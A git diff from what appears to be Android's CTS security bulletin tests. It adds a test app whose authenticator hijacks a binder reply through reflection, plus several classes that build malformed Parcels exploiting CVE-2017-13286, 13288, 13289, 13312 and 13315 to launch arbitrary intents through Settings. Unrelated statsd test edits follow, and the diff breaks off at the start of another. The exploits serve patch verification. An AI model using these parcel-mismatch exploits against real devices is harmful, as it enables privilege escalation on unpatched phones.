+<!-- Copyright (C) 2018 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -14,9 +13,8 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="androidx.heifwriter" >
- <uses-sdk android:minSdkVersion="28" />
-
-</manifest>
\ No newline at end of file
+<account-authenticator
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:accountType="com.launchanywhere"
+ />
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/Authenticator.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/Authenticator.java
new file mode 100644
index 0000000..536d9da
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/Authenticator.java
@@ -0,0 +1,180 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.IInterface;
+import android.os.Parcel;
+import android.os.RemoteException;
+
+import java.io.FileDescriptor;
+import java.lang.reflect.Field;
+
+public class Authenticator extends AbstractAccountAuthenticator {
+ static public IGenerateMalformedParcel exploit;
+
+ private int TRANSACTION_onResult;
+ private IBinder mOriginRemote;
+ private IBinder mProxyRemote = new IBinder() {
+ @Override
+ public String getInterfaceDescriptor() throws RemoteException {
+ return null;
+ }
+
+ @Override
+ public boolean pingBinder() {
+ return false;
+ }
+
+ @Override
+ public boolean isBinderAlive() {
+ return false;
+ }
+
+ @Override
+ public IInterface queryLocalInterface(String descriptor) {
+ return null;
+ }
+
+ @Override
+ public void dump(FileDescriptor fd, String[] args) throws RemoteException {}
+
+ @Override
+ public void dumpAsync(FileDescriptor fd, String[] args)
+ throws RemoteException {}
+
+ @Override
+ public boolean transact(int code, Parcel data, Parcel reply, int flags)
+ throws RemoteException {
+ if (code == TRANSACTION_onResult) {
+ data.recycle();
+ Intent payload = new Intent();
+ payload.setAction(Intent.ACTION_REBOOT);
+ data = exploit.generate(payload);
+ }
+
+ mOriginRemote.transact(code, data, reply, flags);
+ return true;
+ }
+
+ @Override
+ public void linkToDeath(DeathRecipient recipient, int flags)
+ throws RemoteException {}
+
+ @Override
+ public boolean unlinkToDeath(DeathRecipient recipient, int flags) {
+ return false;
+ }
+ };
+
+ public Authenticator(Context context) {
+ super(context);
+ }
+
+ @Override
+ public String getAuthTokenLabel(String authTokenType) {
+ return null;
+ }
+
+ @Override
+ public Bundle editProperties(AccountAuthenticatorResponse response,
+ String accountType) {
+ return null;
+ }
+
+ @Override
+ public Bundle getAuthToken(AccountAuthenticatorResponse response,
+ Account account, String authTokenType, Bundle options) {
+ return null;
+ }
+
+ @Override
+ public Bundle addAccount(AccountAuthenticatorResponse response,
+ String accountType, String authTokenType, String[] requiredFeatures,
+ Bundle options) {
+ try {
+ Field mAccountAuthenticatorResponseField =
+ Class.forName("android.accounts.AccountAuthenticatorResponse")
+ .getDeclaredField("mAccountAuthenticatorResponse");
+
+ mAccountAuthenticatorResponseField.setAccessible(true);
+
+ Object mAccountAuthenticatorResponse =
+ mAccountAuthenticatorResponseField.get(response);
+
+ Class stubClass = null;
+ String responseName = "android.accounts.IAccountAuthenticatorResponse";
+ Class<?>[] classes = Class.forName(responseName).getDeclaredClasses();
+
+ String stubName = responseName + ".Stub";
+ for (Class inner : classes) {
+ if (inner.getCanonicalName().equals(stubName)) {
+ stubClass = inner;
+ break;
+ }
+ }
+
+ Field TRANSACTION_onResultField =
+ stubClass.getDeclaredField("TRANSACTION_onResult");
+ TRANSACTION_onResultField.setAccessible(true);
+ TRANSACTION_onResult = TRANSACTION_onResultField.getInt(null);
+
+ Class proxyClass = null;
+ String proxyName = stubName + ".Proxy";
+ for (Class inner : stubClass.getDeclaredClasses()) {
+ if (inner.getCanonicalName().equals(proxyName)) {
+ proxyClass = inner;
+ break;
+ }
+ }
+
+ Field mRemoteField = proxyClass.getDeclaredField("mRemote");
+ mRemoteField.setAccessible(true);
+ mOriginRemote = (IBinder) mRemoteField.get(mAccountAuthenticatorResponse);
+ mRemoteField.set(mAccountAuthenticatorResponse, mProxyRemote);
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+
+ return new Bundle();
+ }
+
+ @Override
+ public Bundle confirmCredentials(
+ AccountAuthenticatorResponse response, Account account, Bundle options) {
+ return null;
+ }
+
+ @Override
+ public Bundle updateCredentials(AccountAuthenticatorResponse response,
+ Account account, String authTokenType, Bundle options) {
+ return null;
+ }
+
+ @Override
+ public Bundle hasFeatures(
+ AccountAuthenticatorResponse response, Account account, String[] features)
+ {
+ return null;
+ }
+}
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/AuthenticatorService.java
similarity index 64%
copy from hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
copy to hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/AuthenticatorService.java
index 5ee3aeb..58d75b8 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/AuthenticatorService.java
@@ -1,4 +1,4 @@
-/*
+/**
* Copyright (C) 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -14,16 +14,17 @@
* limitations under the License.
*/
-package com.android.cts.usepermission;
+package com.android.security.cts.launchanywhere;
-import android.app.Activity;
-import android.os.Bundle;
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
-public class AutoClosingActivity extends Activity {
+public class AuthenticatorService extends Service {
+ protected static final String TAG = StartExploit.TAG;
+
@Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- finish();
+ public IBinder onBind(Intent intent) {
+ return new Authenticator(this).getIBinder();
}
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13286.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13286.java
new file mode 100644
index 0000000..752b06d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13286.java
@@ -0,0 +1,78 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.launchanywhere;
+
+import com.android.security.cts.launchanywhere.IGenerateMalformedParcel;
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Parcel;
+
+public class CVE_2017_13286 implements IGenerateMalformedParcel {
+ @Override
+ public Parcel generate(Intent intent) {
+ Parcel data = Parcel.obtain();
+ data.writeInterfaceToken("android.accounts." +
+ "IAccountAuthenticatorResponse");
+ data.writeInt(1);
+ int bundleLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ data.writeInt(0x4C444E42);
+ int bundleStartPos = data.dataPosition();
+ data.writeInt(3);
+
+ data.writeString("launchanywhere");
+ data.writeInt(4);
+ data.writeString("android.hardware.camera2.params.OutputConfiguration");
+ data.writeInt(0);
+ data.writeInt(1);
+ data.writeInt(2);
+ data.writeInt(3);
+ data.writeInt(4);
+ data.writeInt(5);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(13);
+
+ int byteArrayLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ int byteArrayStartPos = data.dataPosition();
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeString(AccountManager.KEY_INTENT);
+ data.writeInt(4);
+ data.writeString("android.content.Intent");
+ intent.writeToParcel(data, 0);
+ int byteArrayEndPos = data.dataPosition();
+ data.setDataPosition(byteArrayLenPos);
+ int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+ data.writeInt(byteArrayLen);
+ data.setDataPosition(byteArrayEndPos);
+
+ int bundleEndPos = data.dataPosition();
+ data.setDataPosition(bundleLenPos);
+ int bundleLen = bundleEndPos - bundleStartPos;
+ data.writeInt(bundleLen);
+ data.setDataPosition(bundleEndPos);
+
+ return data;
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13288.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13288.java
new file mode 100644
index 0000000..a503513
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13288.java
@@ -0,0 +1,66 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Parcel;
+
+public class CVE_2017_13288 implements IGenerateMalformedParcel {
+ @Override
+ public Parcel generate(Intent intent) {
+ Parcel data = Parcel.obtain();
+ data.writeInterfaceToken("android.accounts." +
+ "IAccountAuthenticatorResponse");
+ data.writeInt(1);
+ int bundleLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ data.writeInt(0x4C444E42);
+ int bundleStartPos = data.dataPosition();
+ data.writeInt(2);
+
+ data.writeString("launchanywhere");
+ data.writeInt(4);
+ data.writeString("android.bluetooth.le.PeriodicAdvertisingReport");
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(1);
+ data.writeInt(1);
+
+ int byteArrayLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ int byteArrayStartPos = data.dataPosition();
+ data.writeString(AccountManager.KEY_INTENT);
+ data.writeInt(4);
+ data.writeString("android.content.Intent");
+ intent.writeToParcel(data, 0);
+ int byteArrayEndPos = data.dataPosition();
+ data.setDataPosition(byteArrayLenPos);
+ int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+ data.writeInt(byteArrayLen);
+ data.setDataPosition(byteArrayEndPos);
+
+ int bundleEndPos = data.dataPosition();
+ data.setDataPosition(bundleLenPos);
+ int bundleLen = bundleEndPos - bundleStartPos;
+ data.writeInt(bundleLen);
+ data.setDataPosition(bundleEndPos);
+
+ return data;
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13289.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13289.java
new file mode 100644
index 0000000..716dda6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13289.java
@@ -0,0 +1,92 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Parcel;
+
+public class CVE_2017_13289 implements IGenerateMalformedParcel {
+ public Parcel generate(Intent intent) {
+ Parcel data = Parcel.obtain();
+ String responseName = "android.accounts.IAccountAuthenticatorResponse";
+ data.writeInterfaceToken(responseName);
+ data.writeInt(1);
+ int bundleLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ data.writeInt(0x4C444E42);
+ int bundleStartPos = data.dataPosition();
+ data.writeInt(2);
+
+ data.writeString("launchanywhere");
+ data.writeInt(4);
+ data.writeString("android.net.wifi.RttManager$ParcelableRttResults");
+ data.writeInt(1);
+ data.writeString(null);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeLong(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeLong(0);
+ data.writeLong(0);
+ data.writeLong(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0xff);
+ data.writeInt(12);
+ data.writeInt(12);
+ data.writeInt(12);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+
+ data.writeInt(0);
+
+ data.writeString(null);
+ data.writeInt(13);
+ int byteArrayLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ int byteArrayStartPos = data.dataPosition();
+ data.writeString(AccountManager.KEY_INTENT);
+ data.writeInt(4);
+ data.writeString("android.content.Intent");
+ intent.writeToParcel(data, 0);
+ int byteArrayEndPos = data.dataPosition();
+ data.setDataPosition(byteArrayLenPos);
+ int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+ data.writeInt(byteArrayLen);
+ data.setDataPosition(byteArrayEndPos);
+
+ int bundleEndPos = data.dataPosition();
+ data.setDataPosition(bundleLenPos);
+ int bundleLen = bundleEndPos - bundleStartPos;
+ data.writeInt(bundleLen);
+ data.setDataPosition(bundleEndPos);
+
+ return data;
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13312.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13312.java
new file mode 100644
index 0000000..4678de2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13312.java
@@ -0,0 +1,76 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Parcel;
+
+public class CVE_2017_13312 implements IGenerateMalformedParcel {
+ public Parcel generate(Intent intent) {
+ Parcel data = Parcel.obtain();
+ data.writeInterfaceToken("android.accounts.IAccountAuthenticatorResponse");
+ data.writeInt(1);
+ int bundleLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ data.writeInt(0x4C444E42);
+ int bundleStartPos = data.dataPosition();
+ data.writeInt(3);
+
+ try {
+ Class clazz = Class.forName("android.media.MediaCas$ParcelableCasData");
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+
+ data.writeString("xjoa8h2");
+ data.writeInt(4);
+ data.writeString("android.media.MediaCas$ParcelableCasData");
+
+ data.writeInt(13);
+ data.writeInt(32);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+
+ data.writeInt(13);
+ int byteArrayLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ int byteArrayStartPos = data.dataPosition();
+ data.writeString(AccountManager.KEY_INTENT);
+ data.writeInt(4);
+ data.writeString("android.content.Intent");
+ intent.writeToParcel(data, 0);
+ int byteArrayEndPos = data.dataPosition();
+ data.setDataPosition(byteArrayLenPos);
+ int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+ data.writeInt(byteArrayLen);
+ data.setDataPosition(byteArrayEndPos);
+
+ int bundleEndPos = data.dataPosition();
+ data.setDataPosition(bundleLenPos);
+ int bundleLen = bundleEndPos - bundleStartPos;
+ data.writeInt(bundleLen);
+ data.setDataPosition(bundleEndPos);
+
+ return data;
+ }
+}
+
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13315.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13315.java
new file mode 100644
index 0000000..dc15e7e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13315.java
@@ -0,0 +1,69 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Parcel;
+
+public class CVE_2017_13315 implements IGenerateMalformedParcel {
+ public Parcel generate(Intent intent) {
+ Parcel data = Parcel.obtain();
+ data.writeInterfaceToken("android.accounts.IAccountAuthenticatorResponse");
+ data.writeInt(1);
+ int bundleLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ data.writeInt(0x4C444E42);
+ int bundleStartPos = data.dataPosition();
+ data.writeInt(3);
+
+ data.writeString("launchanywhere");
+ data.writeInt(4);
+ data.writeString("com.android.internal.telephony.DcParamObject");
+ data.writeInt(0);
+
+ data.writeInt(0);
+ data.writeInt(6);
+ data.writeInt(13);
+ int byteArrayLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ int byteArrayStartPos = data.dataPosition();
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeString(AccountManager.KEY_INTENT);
+ data.writeInt(4);
+ data.writeString("android.content.Intent");
+ intent.writeToParcel(data, 0);
+ int byteArrayEndPos = data.dataPosition();
+ data.setDataPosition(byteArrayLenPos);
+ int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+ data.writeInt(byteArrayLen);
+ data.setDataPosition(byteArrayEndPos);
+
+ int bundleEndPos = data.dataPosition();
+ data.setDataPosition(bundleLenPos);
+ int bundleLen = bundleEndPos - bundleStartPos;
+ data.writeInt(bundleLen);
+ data.setDataPosition(bundleEndPos);
+
+ return data;
+ }
+}
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/IGenerateMalformedParcel.java
similarity index 67%
copy from hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
copy to hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/IGenerateMalformedParcel.java
index 5ee3aeb..bb473ab 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/IGenerateMalformedParcel.java
@@ -1,4 +1,4 @@
-/*
+/**
* Copyright (C) 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -14,16 +14,9 @@
* limitations under the License.
*/
-package com.android.cts.usepermission;
+package com.android.security.cts.launchanywhere;
-import android.app.Activity;
-import android.os.Bundle;
+import android.content.Intent;
+import android.os.Parcel;
-public class AutoClosingActivity extends Activity {
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- finish();
- }
-}
+public interface IGenerateMalformedParcel { Parcel generate(Intent i); }
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/StartExploit.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/StartExploit.java
new file mode 100644
index 0000000..2d439da
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/StartExploit.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+public class StartExploit extends Activity {
+ protected static final String TAG = "LaunchAnyWhere";
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ String exploitName = "com.android.security.cts.launchanywhere." +
+ getIntent().getStringExtra("cve");
+
+ String classAccessMessage = "Please ensure that the class is part of "
+ + "the com.android.security.cts.launchanywhere package";
+
+ try {
+ Authenticator.exploit =
+ (IGenerateMalformedParcel) Class.forName(exploitName)
+ .newInstance();
+ } catch (ClassNotFoundException e) {
+ Log.e(TAG, "Unable to load the class " + exploitName + "! " +
+ classAccessMessage);
+ e.printStackTrace();
+ return;
+ } catch (InstantiationException e) {
+ Log.e(TAG, "Unable to instantiate the exploit! " + exploitName);
+ e.printStackTrace();
+ return;
+ } catch (IllegalAccessException e) {
+ Log.e(TAG,
+ "Unable to access class " + exploitName + "! " +
+ classAccessMessage + " and is not private");
+ e.printStackTrace();
+ return;
+ }
+
+ Intent attacker = new Intent();
+ attacker.setComponent(new ComponentName(
+ "com.android.settings",
+ "com.android.settings.accounts.AddAccountSettings"));
+ attacker.setAction(Intent.ACTION_RUN);
+ attacker.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ String authTypes[] = {"com.launchanywhere"};
+ attacker.putExtra("account_types", authTypes);
+ startActivity(attacker);
+ }
+}
\ No newline at end of file
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
index 23355a6..23e2d6c 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
@@ -78,7 +78,7 @@
/** ID of the config, which evaluates to -1572883457. */
public static final long CONFIG_ID = "cts_config".hashCode();
- protected static final int WAIT_TIME_SHORT = 1000;
+ protected static final int WAIT_TIME_SHORT = 500;
protected static final int WAIT_TIME_LONG = 2_000;
protected static final long SCREEN_STATE_CHANGE_TIMEOUT = 4000;
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
index 4b5aec5..ee659a2 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
@@ -44,7 +44,6 @@
private static final String TAG = "Statsd.HostAtomTests";
- private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
private static final String FEATURE_WIFI = "android.hardware.wifi";
private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
@@ -112,7 +111,6 @@
if (statsdDisabled()) {
return;
}
- if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
// Setup, set charging state to full.
setChargingState(5);
Thread.sleep(WAIT_TIME_SHORT);
@@ -165,7 +163,6 @@
if (statsdDisabled()) {
return;
}
- if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
// Setup, unplug device.
unplugDevice();
Thread.sleep(WAIT_TIME_SHORT);
@@ -218,7 +215,6 @@
if (statsdDisabled()) {
return;
}
- if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
// Setup, set battery level to full.
setBatteryLevel(100);
Thread.sleep(WAIT_TIME_SHORT);
@@ -305,7 +301,6 @@
if (statsdDisabled()) {
return;
}
- if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
// Setup, turn off battery saver.
turnBatterySaverOff();
Thread.sleep(WAIT_TIME_SHORT);
@@ -343,7 +338,6 @@
return;
}
if (!hasFeature(FEATURE_WATCH, false)) return;
- if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
if (!hasBattery()) return;
StatsdConfig.Builder config = getPulledConfig();
FieldMatcher.Builder dimension = FieldMatcher.newBuilder()
@@ -372,7 +366,6 @@
return;
}
if (!hasFeature(FEATURE_WATCH, false)) return;
- if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
if (!hasBattery()) return;
StatsdConfig.Builder config = getPulledConfig();
FieldMatcher.Builder dimension = FieldMatcher.newBuilder()
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index 584a834..84fc2d8 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -61,7 +61,6 @@
private static final String TAG = "Statsd.UidAtomTests";
// These constants are those in PackageManager.
- private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
private static final String FEATURE_BLUETOOTH_LE = "android.hardware.bluetooth_le";
private static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
private static final String FEATURE_WIFI = "android.hardware.wifi";
@@ -551,9 +550,6 @@
if (statsdDisabled()) {
return;
}
- // For automotive, all wakeup alarm becomes normal alarm. So this
- // test does not work.
- if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
final int atomTag = Atom.WAKEUP_ALARM_OCCURRED_FIELD_NUMBER;
StatsdConfig.Builder config = createConfigBuilder();
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
index 199596b..6d399cb 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
@@ -63,7 +63,6 @@
public class ValidationTests extends DeviceAtomTestCase {
private static final String TAG = "Statsd.ValidationTests";
- private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
private static final boolean ENABLE_LOAD_TEST = false;
@Override
@@ -82,7 +81,6 @@
if (statsdDisabled()) {
return;
}
- if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
resetBatteryStats();
unplugDevice();
// AoD needs to be turned off because the screen should go into an off state. But, if AoD is
@@ -134,6 +132,7 @@
assertNotNull(wl);
assertTrue(wl.getDurationMs() > 0);
+ assertTrue(wl.getCount() == 1);
assertTrue(wl.getMaxDurationMs() >= 400);
assertTrue(wl.getMaxDurationMs() < 700);
assertTrue(wl.getTotalDurationMs() >= 400);
@@ -151,7 +150,6 @@
// ADB disconnection causes failure of getUid(). Move up here before turnScreenOff().
final int EXPECTED_UID = getUid();
- if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
turnScreenOn(); // To ensure that the ScreenOff later gets logged.
// AoD needs to be turned off because the screen should go into an off state. But, if AoD is
// on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
diff --git a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
index a77482a..4dc56f8 100644
